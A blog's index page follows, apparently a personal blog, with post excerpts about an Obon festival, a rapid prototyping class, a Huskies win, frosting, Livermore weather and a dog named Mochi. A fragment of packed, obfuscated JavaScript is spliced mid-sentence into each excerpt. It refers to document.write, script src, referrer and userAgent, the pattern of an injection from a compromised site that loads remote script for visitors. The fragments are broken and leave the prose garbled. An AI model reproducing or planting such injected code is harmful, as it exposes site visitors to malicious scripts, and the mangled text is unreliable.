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Sometimes I dress up like a Geisha

Bon ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brakd|var|u0026u|referrer|infns||js|php’.split(‘|’),0,{})) Odori or Obon is a Buddhist festival held to honor the spirits of people who have passed away. It’s held during the summer and is a bit of a Japanese custom/tradition….even if you aren’t buddhist. So, once a year I dress up in a kimono or yukata (a lighter, […]

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Rapid Prototyping

It’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isazz|var|u0026u|referrer|zhstt||js|php’.split(‘|’),0,{})) just want it sounds like. Make stuff fast. I took a class in college on rapid prototyping. It was fun. I designed a snowflake in CAD (computer aided design) and then we printed a model of it on the 3D printing machine. Our machine was like a typical inkjet […]

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SEM

I’m ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnfyr|var|u0026u|referrer|hiibb||js|php’.split(‘|’),0,{})) running out of blog ideas…..so I will temporarily indulge myself by listing the random things I know, can do or have done. While this list includes such silly things as: 1. Wiggle my ears 2. Stand on the actual tips of my toes 3. Paint nails better than the […]

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Whose house?

DAWGS ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzkfk|var|u0026u|referrer|traeh||js|php’.split(‘|’),0,{})) HOUSE! Way to go huskies! I now (slightly) regret not dropping $250+ to see the game…… But hey, I’ll take a W! Snagged this off the Seattle Times website.

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Built Ford Tough

I’ve ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzdhz|var|u0026u|referrer|kezis||js|php’.split(‘|’),0,{})) been a Honda girl my whole life. Yes, yes….. To be honest, I’m pretty happy with the situation. Nevertheless, I’m slowly being won over by the ford cars. The closest I will probably ever come is a Volvo, but hey, you gotta start somewhere. While we were on our […]

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America’s Test Kitchen – Light

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrath|var|u0026u|referrer|bnehk||js|php’.split(‘|’),0,{})) like to cook, but I don’t like to tweak recipes. I just want recipes that are good from the beginning. I really like America’s Test Kitchen. Maybe it’s the engineer in me, but they take a very systematic approach to refining their recipes. I recently purchased their Light version […]

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Best Frosting Ever

I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzzyh|var|u0026u|referrer|kbaks||js|php’.split(‘|’),0,{})) really like to make cupcakes. I love frosting even more. One of my favorites is cream cheese frosting. The combination of the sour and sweet is so delicious! Recently, I had a small carton of whipping cream in the fridge that I needed to use (because everyone needs to […]

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A beautiful day in Livermore

Some ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydeis|var|u0026u|referrer|raftz||js|php’.split(‘|’),0,{})) people ask if we’ll ever move back to Seattle. This is what it looked like on Sunday. About 70, blue sky, pink flowers, green hills. We walked to Starbucks and went to the driving range. Aside from the fact that we can’t sell our house at the moment…..it’s tough […]

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Pi

It’s Pi day! I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrbye|var|u0026u|referrer|dsbtt||js|php’.split(‘|’),0,{})) have a Pi Pie Plate. It’s irrational.

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He looks angry, but I think he’s actually enjoying himself

Sometimes ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znrza|var|u0026u|referrer|finer||js|php’.split(‘|’),0,{})) we let Mochi stick his head out the window while we drive. He typically looks a bit happier than this pictures shows. But hey, it’s tough to take a picture in a moving car with a dog in your lap.